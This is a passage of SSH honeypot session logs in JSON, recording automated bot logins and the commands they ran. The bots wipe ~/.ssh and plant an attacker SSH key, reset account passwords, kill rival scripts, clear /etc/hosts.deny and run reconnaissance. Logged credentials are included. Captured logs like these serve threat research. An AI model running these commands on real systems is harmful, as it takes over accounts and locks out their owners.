VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T12:42:40.626741+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T12:42:41.081941+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T12:42:41.929309+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T12:42:42.705166+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T12:42:43.596723+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T12:42:44.112588+00:00","kind":"output","latency_ms":null,"data":"u1"},{"seq":29,"at":"2026-08-26T12:42:44.995533+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T12:42:46.053880+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T12:42:46.907084+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T12:42:47.769312+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"u1","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"ad20dc3d-716f-45b1-a927-433e26ddf74b","name":"cunning-velvet-cheetah","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":47910,"username":"u1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:42:23.809180+00:00","ended_at":"2026-08-26T12:42:24.714053+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"u1","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"0a713de4-1692-4903-9f03-d6048440ffd0","name":"lively-vernal-dipper","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":47902,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:42:20.095940+00:00","ended_at":"2026-08-26T12:42:21.995958+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"c8bf84ca-d9ed-4a77-8bff-bcb166829e87","name":"fabled-loyal-gecko","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":47700,"username":"nitin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":886,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T12:40:09.299509+00:00","ended_at":"2026-08-26T12:40:10.905325+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2258,"events":[{"seq":1,"at":"2026-08-26T12:39:39.535407+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T12:39:40.411571+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T12:39:47.295453+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T12:39:48.114885+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T12:39:49.018149+00:00","kind":"input","latency_ms":null,"data":"echo -e \"nitin@123\\ntqkRKwTE0cdR\\ntqkRKwTE0cdR\"|passwd|bash"},{"seq":6,"at":"2026-08-26T12:39:49.897443+00:00","kind":"input","latency_ms":null,"data":"echo \"nitin@123\\ntqkRKwTE0cdR\\ntqkRKwTE0cdR\\n\"|passwd"},{"seq":7,"at":"2026-08-26T12:39:50.796398+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T12:39:51.243881+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T12:39:52.115120+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T12:39:53.214119+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T12:39:54.101931+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T12:39:54.925659+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T12:39:55.798897+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T12:39:56.415413+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T12:39:57.299136+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T12:39:57.722811+00:00","kind":"output","latency_ms":null,"data":" 12:39:57 up 6 days, 9:30, 0 user, load average: 0.28, 0.32, 0.23\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T12:39:58.598773+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T12:39:59.373401+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T12:40:00.232197+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T12:40:01.113081+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T12:40:01.999829+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T12:40:02.670715+00:00","kind":"output","latency_ms":null,"data":"top - 12:40:02 up 6 days, 9:30, 0 user, load average: 0.28, 0.32, 0.23\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T12:40:03.537172+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T12:40:03.810096+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T12:40:04.696891+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T12:40:05.204217+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T12:40:06.101688+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T12:40:06.511558+00:00","kind":"output","latency_ms":null,"data":"nitin"},{"seq":29,"at":"2026-08-26T12:40:07.400739+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T12:40:08.411585+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T12:40:09.300245+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T12:40:10.631564+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"nitin","password":"nitin@123","method":"password","accepted":true,"tier":"other"}]} {"id":"728fa0bd-911f-4dcd-a95a-d83caf0e97d2","name":"silent-curious-shearwater","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":47716,"username":"nitin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:39:46.192684+00:00","ended_at":"2026-08-26T12:39:46.997070+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"nitin","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"24d7a761-d924-465d-9522-7a36570bc020","name":"serene-pewter-polecat","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":47710,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:39:42.396091+00:00","ended_at":"2026-08-26T12:39:44.412963+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"3b498e4d-af38-489e-a312-1059578ef19f","name":"ivory-languid-coyote","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":47502,"username":"al","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":863,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T12:37:29.600578+00:00","ended_at":"2026-08-26T12:37:31.337338+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2249,"events":[{"seq":1,"at":"2026-08-26T12:36:59.426222+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T12:37:00.300845+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T12:37:07.397027+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T12:37:08.162267+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T12:37:09.019807+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nwK0B655pSem2\\nwK0B655pSem2\"|passwd|bash"},{"seq":6,"at":"2026-08-26T12:37:09.897845+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nwK0B655pSem2\\nwK0B655pSem2\\n\"|passwd"},{"seq":7,"at":"2026-08-26T12:37:10.800057+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T12:37:11.176383+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T12:37:12.031677+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T12:37:13.249290+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T12:37:14.104828+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T12:37:14.929209+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T12:37:15.796901+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T12:37:16.658359+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T12:37:17.514173+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T12:37:18.139220+00:00","kind":"output","latency_ms":null,"data":" 12:37:18 up 6 days, 9:27, 0 user, load average: 0.23, 0.24, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T12:37:19.001689+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T12:37:19.522494+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T12:37:20.400526+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T12:37:20.679204+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T12:37:21.537810+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T12:37:21.912566+00:00","kind":"output","latency_ms":null,"data":"top - 12:37:21 up 6 days, 9:27, 0 user, load average: 0.23, 0.24, 0.22\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9532 free, 6355 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T12:37:22.804128+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T12:37:23.638950+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T12:37:24.505552+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T12:37:25.322729+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T12:37:26.197880+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T12:37:26.584730+00:00","kind":"output","latency_ms":null,"data":"al"},{"seq":29,"at":"2026-08-26T12:37:27.494509+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T12:37:28.744719+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T12:37:29.601474+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T12:37:31.062874+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"al","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"b66de7e2-7780-479b-b03a-875c6913e940","name":"shifting-lively-albatross","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":47516,"username":"al","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:37:04.989700+00:00","ended_at":"2026-08-26T12:37:07.103262+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"al","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"4955292c-8fc0-48bc-9436-f19d326b6361","name":"hardy-graceful-lapwing","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":47510,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:37:02.297833+00:00","ended_at":"2026-08-26T12:37:03.256510+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"5e2cd64b-311b-46d2-a968-81bcb3cce1c4","name":"bashful-primal-walrus","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":47294,"username":"deploy","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":861,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T12:34:38.057535+00:00","ended_at":"2026-08-26T12:34:39.429294+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2255,"events":[{"seq":1,"at":"2026-08-26T12:34:08.506158+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T12:34:09.392241+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T12:34:15.400372+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T12:34:15.863378+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T12:34:16.704371+00:00","kind":"input","latency_ms":null,"data":"echo -e \"deploy!\\ngURARhqA4FDh\\ngURARhqA4FDh\"|passwd|bash"},{"seq":6,"at":"2026-08-26T12:34:17.597001+00:00","kind":"input","latency_ms":null,"data":"echo \"deploy!\\ngURARhqA4FDh\\ngURARhqA4FDh\\n\"|passwd"},{"seq":7,"at":"2026-08-26T12:34:18.458252+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T12:34:18.806713+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T12:34:19.693610+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T12:34:20.822569+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T12:34:21.695967+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T12:34:22.932915+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T12:34:23.796854+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T12:34:24.333007+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T12:34:25.194839+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T12:34:25.898538+00:00","kind":"output","latency_ms":null,"data":" 12:34:25 up 6 days, 9:24, 0 user, load average: 0.03, 0.03, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T12:34:26.795756+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T12:34:27.697350+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T12:34:28.566517+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T12:34:29.234144+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T12:34:30.093093+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T12:34:30.365350+00:00","kind":"output","latency_ms":null,"data":"top - 12:34:30 up 6 days, 9:24, 0 user, load average: 0.03, 0.03, 0.03\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T12:34:31.207459+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T12:34:31.780569+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T12:34:32.617246+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T12:34:33.306149+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T12:34:34.215848+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T12:34:34.743883+00:00","kind":"output","latency_ms":null,"data":"deploy"},{"seq":29,"at":"2026-08-26T12:34:35.596819+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T12:34:37.198090+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T12:34:38.058669+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T12:34:39.135918+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"deploy","password":"deploy!","method":"password","accepted":true,"tier":"other"}]} {"id":"5a16f540-4d17-4a71-a154-5c36773f82f2","name":"sullen-nameless-flamingo","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":47308,"username":"deploy","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:34:14.310327+00:00","ended_at":"2026-08-26T12:34:15.128387+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"deploy","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"9099d732-c76c-4bce-a060-1a262b885ea5","name":"boreal-drifting-catbird","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":47302,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T12:34:11.392109+00:00","ended_at":"2026-08-26T12:34:12.594831+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"eb27f786-f25a-4b14-851a-9c3d83201752","name":"russet-granite-pika","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":47094,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":844,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T12:31:47.892818+00:00","ended_at":"2026-08-26T12:31:49.654955+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T12:31:18.694273+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T12:31:19.533468+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T12:31:26.509620+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T12:31:27.119493+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T12:31:27.960172+00:00","kind":"input","latency_ms":null,"data":"echo \"root:KIoAcfBm5tqm\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T12:31:28.794295+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T12:31:29.626196+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T12:31:30.245615+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T12:31:31.091062+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, 